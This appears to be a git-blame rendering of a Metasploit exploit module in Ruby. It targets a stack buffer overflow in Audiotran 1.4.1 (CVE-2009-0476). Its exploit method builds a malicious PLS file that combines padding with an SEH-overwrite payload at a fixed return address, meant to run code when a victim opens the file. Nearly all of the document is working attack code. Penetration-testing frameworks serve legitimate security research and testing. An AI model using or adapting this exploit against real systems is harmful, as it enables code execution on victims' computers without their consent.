2010-01-28 19:24:41 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2010-01-28 19:24:41 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = GoodRanking
|
2010-01-28 19:24:41 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::FILEFORMAT
|
|
|
|
include Msf::Exploit::Remote::Seh
|
2010-01-28 19:24:41 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Audiotran 1.4.1 (PLS File) Stack Buffer Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a stack-based buffer overflow in Audiotran 1.4.1.
|
|
|
|
An attacker must send the file to victim and the victim must open the file.
|
|
|
|
Alternatively it may be possible to execute code remotely via an embedded
|
|
|
|
PLS file within a browser, when the PLS extention is registered to Audiotran.
|
|
|
|
This functionality has not been tested in this module.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Sebastien Duquette',
|
|
|
|
'dookie',
|
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2009-0476'],
|
|
|
|
[ 'EDB', '11079' ],
|
|
|
|
],
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 6000,
|
|
|
|
'BadChars' => "\x00\x0a\x3d",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Windows Universal', { 'Ret' => 0x10101A3E } ], #p/p/r in rsaadjd.tmp
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'DisclosureDate' => 'Jan 09 2010',
|
|
|
|
'DefaultTarget' => 0))
|
2010-01-28 19:24:41 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pls']),
|
|
|
|
], self.class)
|
2010-01-28 19:24:41 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2010-01-28 19:24:41 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def exploit
|
2010-01-28 19:24:41 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
sploit = rand_text_alpha_upper(1308)
|
|
|
|
sploit << generate_seh_payload(target.ret)
|
|
|
|
sploit << rand_text_alpha_upper(8000)
|
2010-01-28 19:24:41 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("Creating '#{datastore['FILENAME']}' file ...")
|
2010-01-28 19:24:41 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
file_create(sploit)
|
2010-01-28 19:24:41 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2010-01-28 19:24:41 +00:00
|
|
|
|
|
|
|
end
|